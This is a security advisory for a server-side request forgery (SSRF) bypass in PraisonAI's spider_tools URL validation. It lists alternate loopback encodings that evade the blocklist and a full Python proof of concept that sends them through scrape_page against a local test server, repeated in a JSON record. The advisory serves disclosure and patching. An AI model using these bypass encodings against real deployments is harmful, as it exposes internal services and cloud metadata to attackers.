GHSA-5C6W-WWFQ-7QQM

Vulnerability from github – Published: 2026-05-29 22:27 – Updated: 2026-05-29 22:27
VLAI
Summary
PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings
Details

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

praisonaiagents/tools/spider_tools.py
````

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

```text
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format: str, *args) -> None:  # noqa: A003
        return


def main() -> int:
    if not SPIDER_TOOLS.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(AGENTS_ROOT))

    # Import the real shipped implementation.
    #
    # Depending on the exact public API exposed by spider_tools.py,
    # use the exported scrape function available in the local version.
    # The important path is:
    #
    #   _validate_url(url)
    #     -> requests.Session.get(url)
    #
    import praisonaiagents.tools.spider_tools as spider_tools

    server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    candidates = [
        "http://localhost.:8765/",
        "http://127.1:8765/",
        "http://0177.0.0.1:8765/",
        "http://0x7f000001:8765/",
        "http://2130706433:8765/",
    ]

    try:
        for url in candidates:
            LocalHandler.hits.clear()

            try:
                # Prefer the real public scraping API when available.
                if hasattr(spider_tools, "scrape_page"):
                    result = spider_tools.scrape_page(url)
                elif hasattr(spider_tools, "extract_text"):
                    result = spider_tools.extract_text(url)
                elif hasattr(spider_tools, "crawl"):
                    result = spider_tools.crawl(url)
                else:
                    raise RuntimeError("No expected spider_tools public fetch function found")

                reached = bool(LocalHandler.hits)
                contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)

                print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")

                if not reached:
                    raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")

            except Exception as exc:
                print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}")
                raise

    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)

    print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Confirmed local result

The following bypasses were confirmed locally:

localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hit

This demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.

Expected secure behavior

All loopback-equivalent addresses should be blocked before the HTTP request is made.

Examples that should be rejected:

http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/

Actual vulnerable behavior

Several alternate loopback representations pass validation and are fetched by the tool.

Impact

An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.

Potential impact includes:

  • SSRF against localhost-only admin panels or development servers;
  • access to local HTTP services that are not intended to be reachable remotely;
  • retrieval of local service responses into the agent/tool output;
  • possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.

The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.

This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:27:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPraisonAI\u0027s `spider_tools` URL validation can be bypassed using alternate loopback host encodings.\n\nThe affected component is:\n\n```text\npraisonaiagents/tools/spider_tools.py\n````\n\nThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.\n\nIt does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.\n\nAs a result, URLs such as the following bypass the protection and still reach loopback services:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nAfter the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services.\n\nThis is a server-side request forgery protection bypass.\n\n### Details\n\nThe affected code is in:\n\n```text\npraisonaiagents/tools/spider_tools.py\n```\n\nThe vulnerable flow is:\n\n```text\nattacker-controlled URL\n  -\u003e spider_tools._validate_url(...)\n  -\u003e weak exact-host blocklist check\n  -\u003e validation passes for alternate loopback encodings\n  -\u003e scrape_page(...)\n  -\u003e requests.Session.get(attacker_url)\n  -\u003e loopback service is reached\n```\n\nThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:\n\n```text\nlocalhost\n127.0.0.1\n```\n\nHowever, equivalent loopback forms are not rejected before the request is made.\n\nConfirmed bypass examples:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nThese values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.\n\nThe issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation/fetch path.\n\nThe expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.\n\nThe actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for PraisonAI spider_tools localhost-alias SSRF bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nSPIDER_TOOLS = AGENTS_ROOT / \"praisonaiagents/tools/spider_tools.py\"\n\n\ndef verify_source() -\u003e None:\n    expected = [\n        \"def _validate_url\",\n        \"requests.Session\",\n        \".get(\",\n    ]\n\n    text = SPIDER_TOOLS.read_text(encoding=\"utf-8\")\n    for needle in expected:\n        if needle not in text:\n            raise RuntimeError(f\"source verification failed: {needle!r} not found in {SPIDER_TOOLS}\")\n\n\nclass LocalHandler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"LOCAL-SPIDER-SSRF-SECRET\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -\u003e None:  # noqa: A003\n        return\n\n\ndef main() -\u003e int:\n    if not SPIDER_TOOLS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Import the real shipped implementation.\n    #\n    # Depending on the exact public API exposed by spider_tools.py,\n    # use the exported scrape function available in the local version.\n    # The important path is:\n    #\n    #   _validate_url(url)\n    #     -\u003e requests.Session.get(url)\n    #\n    import praisonaiagents.tools.spider_tools as spider_tools\n\n    server = HTTPServer((\"127.0.0.1\", 8765), LocalHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    candidates = [\n        \"http://localhost.:8765/\",\n        \"http://127.1:8765/\",\n        \"http://0177.0.0.1:8765/\",\n        \"http://0x7f000001:8765/\",\n        \"http://2130706433:8765/\",\n    ]\n\n    try:\n        for url in candidates:\n            LocalHandler.hits.clear()\n\n            try:\n                # Prefer the real public scraping API when available.\n                if hasattr(spider_tools, \"scrape_page\"):\n                    result = spider_tools.scrape_page(url)\n                elif hasattr(spider_tools, \"extract_text\"):\n                    result = spider_tools.extract_text(url)\n                elif hasattr(spider_tools, \"crawl\"):\n                    result = spider_tools.crawl(url)\n                else:\n                    raise RuntimeError(\"No expected spider_tools public fetch function found\")\n\n                reached = bool(LocalHandler.hits)\n                contains_secret = \"LOCAL-SPIDER-SSRF-SECRET\" in str(result)\n\n                print(f\"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}\")\n\n                if not reached:\n                    raise SystemExit(f\"[poc] MISS: {url} did not reach loopback server\")\n\n            except Exception as exc:\n                print(f\"{url} blocked_or_failed={type(exc).__name__}: {exc}\")\n                raise\n\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Confirmed local result\n\nThe following bypasses were confirmed locally:\n\n```text\nlocalhost. True ok ok local hit\n127.1 True ok ok local hit\n0177.0.0.1 True ok ok local hit\n0x7f000001 True ok ok local hit\n2130706433 True ok ok local hit\n```\n\nThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.\n\n#### Expected secure behavior\n\nAll loopback-equivalent addresses should be blocked before the HTTP request is made.\n\nExamples that should be rejected:\n\n```text\nhttp://localhost/\nhttp://localhost./\nhttp://127.0.0.1/\nhttp://127.1/\nhttp://0177.0.0.1/\nhttp://0x7f000001/\nhttp://2130706433/\nhttp://[::1]/\n```\n\n#### Actual vulnerable behavior\n\nSeveral alternate loopback representations pass validation and are fetched by the tool.\n\n### Impact\n\nAn attacker who can influence URLs passed to PraisonAI\u0027s spider tools can cause the process to send HTTP requests to loopback-only services.\n\nPotential impact includes:\n\n* SSRF against localhost-only admin panels or development servers;\n* access to local HTTP services that are not intended to be reachable remotely;\n* retrieval of local service responses into the agent/tool output;\n* possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.\n\nThe most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.\n\nThis report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.",
  "id": "GHSA-5c6w-wwfq-7qqm",
  "modified": "2026-05-29T22:27:09Z",
  "published": "2026-05-29T22:27:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.